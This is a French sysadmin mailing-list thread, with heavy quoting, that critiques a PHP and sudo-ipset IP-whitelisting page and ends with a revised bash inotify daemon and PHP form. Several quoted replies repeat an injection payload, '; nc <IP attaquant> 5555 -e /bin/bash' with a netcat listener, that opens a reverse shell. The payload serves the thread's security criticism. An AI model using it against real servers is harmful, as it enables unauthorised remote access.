Le minimum que l'on fait pour un serveur web frontal de ce type est de mettre en place le mod_security d'apache avec les customs rules qui vont bien ...
Et d'y ajouter le bon core rule set : https://github.com/coreruleset/coreruleset
J'ai quand même fait l'essai sans le mod_security et ta proposition ne fonctionne pas ...
Ce qui ne m’étonne pas car il y a la rule /etc/sudoers.d/httpd
Ludo.
Nop, ca marche pas.
Le 02/05/2024 à 06:45, Julien Reitzel a écrit :
Hello,
au vu du morceau de php indiqué, il suffit d'envoyer le formulaire avec : ; nc <IP attaquant> 5555 -e /bin/bash
du côté attaquant lancer : $ nc -lvp 5555
Et voilà un reverse shell simpliste qui contourne l'auth ssh.
Sans troller...
Le minimum n'est-il pas de ne plus utiliser Apache (perfs totalement nazes + sécu non centralisée) ?
Le 2 mai 2024 à 17:16, Ludovic Levet via FRsAG frsag@frsag.org a écrit :
Le minimum que l'on fait pour un serveur web frontal de ce type est de mettre en place le mod_security d'apache avec les customs rules qui vont bien ...
Et d'y ajouter le bon core rule set : https://github.com/coreruleset/coreruleset
J'ai quand même fait l'essai sans le mod_security et ta proposition ne fonctionne pas ...
Ce qui ne m’étonne pas car il y a la rule /etc/sudoers.d/httpd
C’est pas plutôt parce que la commande devient: sudo ipset ……; nc ……
Donc le nc est lancé en dehors du sudo
David
Hello,
mod_security ou pas, il n'empêche que ce bout de code est un bon exemple de ce qu'il ne faut surtout pas faire.
Aucune validation des entrées, exécution de commandes a travers un shell et pas de quote des entrées, sudo depuis l'utilisateur www-data ...
https://xkcd.com/327/ version shell
Et la surface d'exposition devient apache + php + sh + sudo + ipset + ssh au lieu d'un ssh bien audité, très peu pour moi.
Vincent
On jeudi 2 mai 2024 17 h 16 min 03 s CEST, Ludovic Levet via FRsAG wrote:
Le minimum que l'on fait pour un serveur web frontal de ce type est de mettre en place le mod_security d'apache avec les customs rules qui vont bien ...
Et d'y ajouter le bon core rule set : https://github.com/coreruleset/coreruleset
J'ai quand même fait l'essai sans le mod_security et ta proposition ne fonctionne pas ...
Ce qui ne m’étonne pas car il y a la rule /etc/sudoers.d/httpd
Ludo.
Nop, ca marche pas.
Le 02/05/2024 à 06:45, Julien Reitzel a écrit :
Hello,
au vu du morceau de php indiqué, il suffit d'envoyer le formulaire avec : ; nc <IP attaquant> 5555 -e /bin/bash
du côté attaquant lancer : $ nc -lvp 5555 ...
J'ai jamais dit que cela est parfait, mais je laisse pas un démon dès plus sensible ouvert à tout-va ...
Après ta plein d'autres solutions , comme passer par un VPN temporairement pour accéder a ton serveur et mettre ta règle iptable, ou via un shellinabox, ou un gacamole, ou un wireguard, ou tout combiner ensemble ou...
Bref plein de choses possibles mais pas de sshd direct sur le net.
Le 02/05/2024 à 17:47, Vincent Tondellier via FRsAG a écrit :
Hello,
mod_security ou pas, il n'empêche que ce bout de code est un bon exemple de ce qu'il ne faut surtout pas faire.
Aucune validation des entrées, exécution de commandes a travers un shell et pas de quote des entrées, sudo depuis l'utilisateur www-data ...
https://xkcd.com/327/ version shell
Et la surface d'exposition devient apache + php + sh + sudo + ipset + ssh au lieu d'un ssh bien audité, très peu pour moi.
Vincent
On jeudi 2 mai 2024 17 h 16 min 03 s CEST, Ludovic Levet via FRsAG wrote:
Le minimum que l'on fait pour un serveur web frontal de ce type est de mettre en place le mod_security d'apache avec les customs rules qui vont bien ...
Et d'y ajouter le bon core rule set : https://github.com/coreruleset/coreruleset
J'ai quand même fait l'essai sans le mod_security et ta proposition ne fonctionne pas ...
Ce qui ne m’étonne pas car il y a la rule /etc/sudoers.d/httpd
Ludo.
Nop, ca marche pas.
Le 02/05/2024 à 06:45, Julien Reitzel a écrit :
Hello,
au vu du morceau de php indiqué, il suffit d'envoyer le formulaire avec : ; nc <IP attaquant> 5555 -e /bin/bash
du côté attaquant lancer : $ nc -lvp 5555 ...
Liste de diffusion du %(real_name)s http://www.frsag.org/
On jeudi 2 mai 2024 18 h 11 min 34 s CEST, Ludovic Levet via FRsAG wrote:
J'ai jamais dit que cela est parfait, mais je laisse pas un démon dès plus sensible ouvert à tout-va ...
sudo me semble pire ...
Après t'as plein d'autres solutions , comme passer par un VPN temporairement pour accéder a ton serveur et mettre ta règle iptable, ou via un shellinabox, ou un gacamole, ou un wireguard, ou tout combiner ensemble ou...
Bref plein de choses possibles mais pas de sshd direct sur le net.
La sécurité d'un ensemble n'est pas pas la somme, mais le minimum de la sécurité de chaque pièce.
C'est certainement possible de faire quelque chose pour ajouter de la sécurité sans ouvrir de failles béantes, mais ce n'est pas le cas ici : script php troué, serveur troué ...
Vincent.
Le 02/05/2024 à 17:47, Vincent Tondellier via FRsAG a écrit :
Hello,
mod_security ou pas, il n'empêche que ce bout de code est un bon exemple de ce qu'il ne faut surtout pas faire.
Aucune validation des entrées, exécution de commandes a travers un shell et pas de quote des entrées, sudo depuis l'utilisateur www-data ...
https://xkcd.com/327/ version shell
Et la surface d'exposition devient apache + php + sh + sudo + ipset + ssh au lieu d'un ssh bien audité, très peu pour moi. ...
Ben il suffit de prendre un peu de temps ...
Voila sans sudo :
Ton démon :
cat watch-iptrusted.sh
#!/bin/bash watchdir=/var/www/monsite/data/ basedir=/var/www/monsite
while : ; do inotifywait $watchdir|while read path action file; do if [ ! -z "$file" ]; then echo "file : "$file if [ -a $watchdir/addip.txt ]; then ip="$(cat $watchdir/$file)" [[ "$ip" =~ ^([0-9]{1,3}.){3}[0-9]{1,3}$ ]] || { rm $watchdir/$file;break; } echo "ipset add trusted-ip "$ip >> /var/www/html/site/vpn/trusted-ip.sh ipset add trusted-ip $ip 2>&1 elif [ -a $watchdir/removeip.txt ]; then ip="$(cat $watchdir/$file)" [[ "$ip" =~ ^([0-9]{1,3}.){3}[0-9]{1,3}$ ]] || { rm $watchdir/$file;break; } sed -i "/$ip$/d" /var/www/html/site/vpn/trusted-ip.sh ipset del trusted-ip $ip 2>&1 elif [ -a $watchdir/cleanip.txt ]; then echo "file2 : "$file > /var/www/html/site/vpn/trusted-ip2.sh ipset flush trusted-ip 2>&1 fi rm $watchdir/$file ipset list trusted-ip > $basedir/current_trusted.txt fi done done exit 0
Ton script php :
cat index.php
<html> <body> IP Detection : <a href="http://checkip.dyndns.org" target="popup" onclick="window.open('http://checkip.dyndns.org/%27,%27popup%27,%27width=400,height=100'); return false;"> Verify on checkip site </a> <br> <?php $ip = $_SERVER['REMOTE_ADDR']; echo "<br>"; echo "<form method='post' action='index.php'>"; echo " <label for='fname'>IP address detected : </label>"; echo " <input type='text' id='fname' name='fname' value='$ip' maxlength='15' size='15'>"; echo " <input type='submit' NAME='validation' value='Trust it !'>"; echo "</form>"; echo "<form method='post' action='index.php'>"; echo " <label for='fname'>IP address to remove : </label>"; echo " <input type='text' id='fname' name='fname' value='' maxlength='15' size='15'>"; echo " <input type='submit' NAME='removing' value='Remove it !'>"; echo "</form>"; if (isset($_POST['validation'])) { $ip = $_POST['fname']; file_put_contents('data/addip.txt', $ip); echo "$ip is trusted now"; } if (isset($_POST['removing'])) { $ip = $_POST['fname']; file_put_contents('data/removeip.txt', $ip); echo "$ip is delete now"; } if (isset($_POST['clean'])) { file_put_contents('data/cleanip.txt', ''); } echo "<br><br>"; sleep(1); echo nl2br(file_get_contents("current_trusted.txt")); echo "<br>"; echo "<form method='post' action='index.php'>"; echo " <input type='submit' NAME='clean' value='Clear all !'>"; echo "</form><br>"; ?> <BR> <BR> <CENTER><input type="button" value="Refresh Page" onClick="location.replace('index.php');"></CENTER> <BR> <BR> </body> </html>
Seul une ip dans le fichier fait réagir le démon puis le fichier est détruit.
Ludo.
Le 02/05/2024 à 18:30, Vincent Tondellier via FRsAG a écrit :
On jeudi 2 mai 2024 18 h 11 min 34 s CEST, Ludovic Levet via FRsAG wrote:
J'ai jamais dit que cela est parfait, mais je laisse pas un démon dès plus sensible ouvert à tout-va ...
sudo me semble pire ...
Après t'as plein d'autres solutions , comme passer par un VPN temporairement pour accéder a ton serveur et mettre ta règle iptable, ou via un shellinabox, ou un gacamole, ou un wireguard, ou tout combiner ensemble ou...
Bref plein de choses possibles mais pas de sshd direct sur le net.
La sécurité d'un ensemble n'est pas pas la somme, mais le minimum de la sécurité de chaque pièce.
C'est certainement possible de faire quelque chose pour ajouter de la sécurité sans ouvrir de failles béantes, mais ce n'est pas le cas ici : script php troué, serveur troué ...
Vincent.
Le 02/05/2024 à 17:47, Vincent Tondellier via FRsAG a écrit :
Hello,
mod_security ou pas, il n'empêche que ce bout de code est un bon exemple de ce qu'il ne faut surtout pas faire.
Aucune validation des entrées, exécution de commandes a travers un shell et pas de quote des entrées, sudo depuis l'utilisateur www-data ...
https://xkcd.com/327/ version shell
Et la surface d'exposition devient apache + php + sh + sudo + ipset
- ssh au lieu d'un ssh bien audité, très peu pour moi. ...
Liste de diffusion du %(real_name)s http://www.frsag.org/